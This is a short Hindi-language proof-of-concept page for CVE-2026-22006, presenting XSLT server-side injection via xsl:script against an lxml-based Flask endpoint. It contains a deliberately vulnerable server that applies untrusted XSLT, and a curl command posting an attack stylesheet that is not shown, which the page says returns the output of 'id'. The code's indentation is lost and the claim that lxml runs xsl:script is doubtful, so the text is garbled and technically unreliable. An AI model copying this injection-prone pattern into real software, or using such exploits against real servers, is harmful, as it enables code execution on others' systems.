
CVE-2026-22006 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो lxml Flask एंडपॉइंट में xsl:script के माध्यम से XSLT सर्वर-साइड इंजेक्शन का प्रदर्शन करता है, ताकि रिमोट कोड निष्पादन प्राप्त किया जा सके।
xsl:script के माध्यम से XSLT सर्वर‑साइड इंजेक्शन# xslt_server.py - Applies user-supplied XSLT to XML
from lxml import etree
from flask import Flask, request
app = Flask(__name__)
@app.route('/transform', methods=['POST'])
def transform():
xml = request.form['xml']
xslt = request.form['xslt']
xml_doc = etree.fromstring(xml.encode())
xslt_doc = etree.fromstring(xslt.encode())
transform = etree.XSLT(xslt_doc)
result = transform(xml_doc)
return str(result)
if __name__ == '__main__':
app.run(port=5000)
xsl:scriptएक XML ट्रांसफ़ॉर्मेशन सेवा अविश्वसनीय XSLT स्टाइलशीट स्वीकार करती है और स्क्रिप्टिंग एक्सटेंशन को अक्षम किए बिना उन्हें लागू करती है। एक हमलावर सर्वर पर मनमाना कोड निष्पादित करने के लिए xsl:script या प्रोसेसर‑विशिष्ट फ़ंक्शन (जैसे, PHP का php:function) एम्बेड कर सकता है।
pip install flask lxml
python xslt_server.py
curl -X POST -d "xml=<root/>" --data-urlencode "[email protected]" http://localhost:5000/transform
सर्वर id का आउटपुट लौटाता है।